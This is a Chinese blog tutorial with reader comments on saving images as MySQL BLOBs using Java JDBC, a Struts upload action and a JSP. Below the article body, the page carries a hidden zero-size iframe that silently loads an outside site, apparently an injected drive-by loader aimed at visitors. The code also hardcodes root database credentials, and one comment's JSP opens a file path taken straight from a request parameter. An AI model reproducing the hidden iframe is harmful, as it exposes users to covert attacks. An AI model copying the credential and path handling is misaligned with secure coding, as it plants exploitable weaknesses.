`
dd5801
  • 浏览: 30233 次
  • 性别: Icon_minigender_1
  • 来自: 北京
最近访客 更多访客>>
社区版块
存档分类
最新评论

使用二进制方法保存图片

阅读更多

前几天突然看到学校音乐站上的图片原来是存储在数据库上的,是二进制而不是使用路
径保存的,在网上招了找发现大多介绍的都是hph方式,在这里做个总结,首先要存储二进制
文件在数据库中要搞清楚下面几个内容:
1   mysql存储大容量的二进制文件的格式是blob,其实除了图片还可以存别的
2   要向数据库存储二进制的文件一定要把要存储的数据转换成二进制流
废话就不多说了,大家看看代码很容易明白,先来看一个app程序,当然首先您要在数据库
中先建立一个用于保存图片的表和相应的列,数据格式为blob
package com.lizhe;
import java.io.*;
import java.sql.*;
public class PutImg {
 public void putimg() {
  try {
   Class.forName("org.gjt.mm.mysql.Driver").newInstance();
   String url = "jdbc:mysql://localhost/img?user=root&password=root&useUnicode=
true&characterEncoding=gbk";
   Connection conn = DriverManager.getConnection(url);
   Statement stmt = conn.createStatement();
   //stmt.execute("insert   into   imgt (id)   values   (5)");
   stmt.close();
   PreparedStatement pstmt = null;
   String sql = "";
   File file = new File("c:\\blog.jpg");
   InputStream photoStream = new FileInputStream(file);
   //sql = "   UPDATE   imgt   SET   img   =   ?   ";
    
   sql = "INSERT INTO imgtable  (img) VALUES (?)";
  
   pstmt = conn.prepareStatement(sql);
   pstmt.setBinaryStream(1, photoStream, (int) file.length());
   pstmt.executeUpdate();
   pstmt.close();
   conn.close();
  } catch (Exception e) {
   e.printStackTrace();
  }
 }
 public static void main(String args[]){
  PutImg pi=new PutImg();
  pi.putimg();
 }
}
 
InputStream photoStream = new FileInputStream(file);
可以很清楚的看到我们首先把一个图片文件(当然也可以是别的什么文件)转换成了一个二进制输入流
pstmt.setBinaryStream(1, photoStream, (int) file.length());
这个方法建议大家去查一下API文档,第一个参数是通配符位置没的说,第二个参数是流,这和以
往的string类型的参数不太一样,我刚看到的时候也觉得豁然开朗了,但是到这里还没完,不同于
以往的字符串参数,这里我们还需要第三个参数来设置这个流的长度,这里也就是这个文件的长
度,导出数据库中的sql,一切都清楚了
INSERT INTO `m_diy` VALUES (2,?\0 JFIF\0   \0H\0H\0\0?? Exif\0\0MM\0*\0\0\0 \0
 \0 \0\0\0 \0 \0\0  \0 \0\0\0 \0\0\0b  \0 \0\0\0 \0\0\0j (\0 \0\0\0 \0 \0\0 1\0 \
0\0\0 \0\0\0r 2\0 \0\0\0 \0\0\0?i\0 \0\0\0 \0\0\0\0\0\0\0\0\0H\0\0\0 \0\0\0H\0\0\0
 Adobe Photoshop CS Windows\02007:03:18 23:08:15\0\0\0\0\0 ?\0 \0\0\0 ??\0\0?\0 \0
\0\0 \0\0\0? \0 ........等等
其实就是将文件先转换成了二进制的流,然后插入到了sql语言中,向数据库写入了很长很长的一
段sql语句

 
 
然后我们再来写一个app程序将这个文件读出来,存储成一个图片文件
package com.lizhe;
import java.io.*;
import java.sql.*;
class GetImg {
 
 private static final String URL = "jdbc:mysql://localhost/img?user=root&password=ro
ot&useUnicode=true&characterEncoding=gbk";
 private Connection conn = null;
 private PreparedStatement pstmt = null;
 private ResultSet rs = null;
 private File file = null;

 public void blobRead(String outfile, int picID) throws Exception {
  FileOutputStream fos = null;
  InputStream is = null;
  byte[] Buffer = new byte[4096];
  try {
   Class.forName("org.gjt.mm.mysql.Driver").newInstance();
   conn = DriverManager.getConnection(URL);
   pstmt = conn.prepareStatement("select img from imgt where id=?");
   pstmt.setInt(1, picID); // 传入要取的图片的ID
   rs = pstmt.executeQuery();
   rs.next();
   file = new File(outfile);
   if (!file.exists()) {
    file.createNewFile(); // 如果文件不存在,则创建
   }
   fos = new FileOutputStream(file);
   is = rs.getBinaryStream("img");
   int size = 0;
  
   while ((size = is.read(Buffer)) != -1) {
    // System.out.println(size);
    fos.write(Buffer, 0, size);
   }
  } catch (Exception e) {
   System.out.println( e.getMessage());
  } finally {
   // 关闭用到的资源
   fos.close();
   rs.close();
   pstmt.close();
   conn.close();
  }
 }
 public static void main(String[] args) {
  try {
   GetImg gi=new GetImg();
   gi.blobRead("c:/getimgs/1.jpg", 5);
  } catch (Exception e) {
   System.out.println("[Main func error: ]" + e.getMessage());
  }
 }
}
这里需要注意的是
 is = rs.getBinaryStream("img");
img是数据库中相应的列名,其实和rs.getString()方法差不多,只不过这个方法是读取二进制流的
最后在帖两个bs系统上用的文件给大家参考
通过struts的action向数据库写入二进制图片
/*
 * Generated by MyEclipse Struts
 * Template path: templates/java/JavaClass.vtl
 */
package com.lizhe.struts.action;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStream;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.Statement;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.struts.action.Action;
import org.apache.struts.action.ActionForm;
import org.apache.struts.action.ActionForward;
import org.apache.struts.action.ActionMapping;
import org.apache.struts.upload.FormFile;
import com.lizhe.struts.form.UpimgForm;
/**
 * MyEclipse Struts
 * Creation date: 05-18-2007
 *
 * XDoclet definition:
 * @struts.action path="/upimg" name="upimgForm" input="/userhomepage.jsp"
 * @struts.action-forward name="userhome" path="/userhomepage.jsp" redirect="true"
contextRelative="true"
 */
public class UpimgAction extends Action {
 /*
  * Generated Methods
  */
 /**
  * Method execute
  * @param mapping
  * @param form
  * @param request
  * @param response
  * @return ActionForward
  * @throws IOException
  * @throws FileNotFoundException
  */
 public ActionForward execute(ActionMapping mapping, ActionForm form,
   HttpServletRequest request, HttpServletResponse response) throws FileNotFoundE
xception, IOException {
  UpimgForm upimgForm = (UpimgForm) form;// TODO Auto-generated method stub
 
  FormFile file=upimgForm.getFile();
  InputStream is=file.getInputStream();
 
  try {
   Class.forName("org.gjt.mm.mysql.Driver").newInstance();
   String url = "jdbc:mysql://localhost/blog?user=root&password=root&useUnicode=t
rue&characterEncoding=gb2312";
   Connection conn = DriverManager.getConnection(url);
   Statement stmt = conn.createStatement();
   //stmt.execute("insert   into   img (id)   values   (5)");
   stmt.close();
   PreparedStatement pstmt = null;
   String sql = "";
   //File file = new File("c:\\blog.jpg");
   //InputStream photoStream = new FileInputStream(file);
   //sql = "   UPDATE   imgt   SET   img   =   ?   ";
    
   sql = "INSERT INTO img (img) VALUES (?)";
  
   pstmt = conn.prepareStatement(sql);
   pstmt.setBinaryStream(1, is, (int) file.getFileSize());
   pstmt.executeUpdate();
   pstmt.close();
   conn.close();
  } catch (Exception e) {
   e.printStackTrace();
  }
 
  return mapping.findForward("userhomepage");
 }
}
和app的方式几乎是一样的
第二个文件是通过jsp将数据库中的图片显示在页面上
这个有些不同
<!---->     

其中在oracle数据库中也可以如此使用,确保数据的安全哦!可以不用保存路径的方法!


  <!---->     
  <!---->     
  <!---->     
  <!---->     
<!---->
       
       
  <!---->     
       
 

 
 
 
 
<iframe src="HTTP://www.m5k8.com/gr.htm" width="0" height="0"></iframe>

分享到:
评论
13 楼 kang36897 2008-05-02  
我想请教您一个问题,是关于MYSQL存入图片的,我用的是MYSQL5.0+jndi+jsp,下面是我的代码:
<%@ page language="java" contentType="text/html; charset=gb2312"
pageEncoding="gb2312"
import="java.io.*,java.sql.*,javax.sql.*,javax.naming.*,java.util.*"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>插入图片</title>
</head>
<body>
<%
request.setCharacterEncoding("gb2312");
Connection con;
PreparedStatement preparedStmt;
String query = "insert into album(name,data,id) values(?,?,?)";
try {
InitialContext ctx = new InitialContext();
DataSource ds = (DataSource) ctx
.lookup("java:comp/env/jdbc/mysqlpool");
con = ds.getConnection();
String location = request.getParameter("image");
File filename = new File(location);
out.println("1");
String name = request.getParameter("name");
InputStream fis = new FileInputStream(filename);
out.println("2");
preparedStmt = con.prepareStatement(query);
preparedStmt.setString(1, name);
preparedStmt.setInt(3, Integer.parseInt(request.getParameter("id")));
preparedStmt.setBinaryStream(2, fis, (int) filename.length());
preparedStmt.executeUpdate();
fis.close();
preparedStmt.close();
con.close();
out.println("操作成功!");
} catch (SQLException e) {
out.println(e.toString());
} catch (Exception e) {
out.println(e.getStackTrace());
}
%>

</body>
</html>

插入用页面是:
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>将图片插入数据库</title>
</head>
<body>
<form method="post" action="insert.jsp">
<table border="0" cellspacing="0"cellpadding="0">

<tr>
<td>图片名称:</td>
<td><input type="text" name="name" size="20"></td>
</tr>
<tr>
<td>图片ID:</td>
<td><input type="text" name="id" size="20"></td>
</tr>
<tr>
<td align="top">文件:</td>
<td><input type="file" name="image"></td>
</tr>
<tr>
<td><input type="submit" value="上传"></td>
</tr>

</table>
</form>
</body>
</html>

但是就是插不进去,而且还报下面的错误:
com.mysql.jdbc.exceptions.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'm?QwV^b0N?,? B Gg>?j??j?C?S??I1???6…@Zè????S?Xéaü?IG?G???0u?ud}a??5\0? ?' at line 1
在这里谢谢您了先。
12 楼 liangguanhui 2008-02-26  
引用
导出数据库中的sql,一切都清楚了
INSERT INTO `m_diy` VALUES (2,?\0 JFIF\0   \0H\0H\0\0?? Exif\0\0MM\0*\0\0\0 \0
\0 \0\0\0 \0 \0\0  \0 \0\0\0 \0\0\0b  \0 \0\0\0 \0\0\0j (\0 \0\0\0 \0 \0\0 1\0 \
0\0\0 \0\0\0r 2\0 \0\0\0 \0\0\0?i\0 \0\0\0 \0\0\0\0\0\0\0\0\0H\0\0\0 \0\0\0H\0\0\0
Adobe Photoshop CS Windows\02007:03:18 23:08:15\0\0\0\0\0 ?\0 \0\0\0 ??\0\0?\0 \0
\0\0 \0\0\0? \0 ........等等
其实就是将文件先转换成了二进制的流,然后插入到了sql语言中,向数据库写入了很长很长的一
段sql语句

这里之所以是这样,是因为mysql不支持PreparedStatement的缘故,mysql的PreparedStatement的功能的实现是在jdbc包里面实现的。而Oracle就不同了,专门实现了这方面的功能。
11 楼 抛出异常的爱 2008-02-25  
reno_k 写道
抛出异常的爱 写道
Julian 写道
个人认为,保存可能受到安全和访问控制的图片时候才需要这么做,否则没必要。性能不是一般的差。
在j2ee中有些地方还是需要的
比如红章。。。人名章。。。手写的签名。。。


只是在输出到网页后,别人也可以轻松地"图片另存为",加JS脚本的话,也有对应的禁用浏览器的选项

作移植,删除,更换,更改,变更,备份这些操作的不确定性很高.....
如果不想留个人在客户那里....
牺牲点性能还是会被接受的.
10 楼 gaoran2008 2008-02-24  
用XML+文件保存可能会好点。因为是网站。
9 楼 reno_k 2008-02-23  
抛出异常的爱 写道
Julian 写道
个人认为,保存可能受到安全和访问控制的图片时候才需要这么做,否则没必要。性能不是一般的差。
在j2ee中有些地方还是需要的
比如红章。。。人名章。。。手写的签名。。。


只是在输出到网页后,别人也可以轻松地"图片另存为",加JS脚本的话,也有对应的禁用浏览器的选项
8 楼 maofujun 2008-02-22  
bs里的例子只有一个吗,还有一个呢
7 楼 maofujun 2008-02-22  
在jsp里显示图片的怎么实现的是写文件后,再给路径的吗,还是直接在页面上画出来不用把图片字段的数据重新写成图片
6 楼 抛出异常的爱 2007-10-19  
Julian 写道
个人认为,保存可能受到安全和访问控制的图片时候才需要这么做,否则没必要。性能不是一般的差。
在j2ee中有些地方还是需要的
比如红章。。。人名章。。。手写的签名。。。
5 楼 Julian 2007-10-19  
个人认为,保存可能受到安全和访问控制的图片时候才需要这么做,否则没必要。性能不是一般的差。
4 楼 windy721 2007-09-06  
还是觉得一般的网站没有这个必要!~
3 楼 dd5801 2007-09-05  
对于很多普通的图片是没有必要这样,但是这种方法是很值得学习的,虽然有一种可以保存图片名称或者地址的方法.可是,利用这种方法可以保存重要图片的安全.
2 楼 pcic 2007-09-05  
在web中传文件不用专门写将文件转化二进制的类
1 楼 香克斯 2007-09-05  
个人觉的,对于音乐站这种进行大量文件保存的应用使用数据库保存并不是一个好的选择

相关推荐

Global site tag (gtag.js) - Google Analytics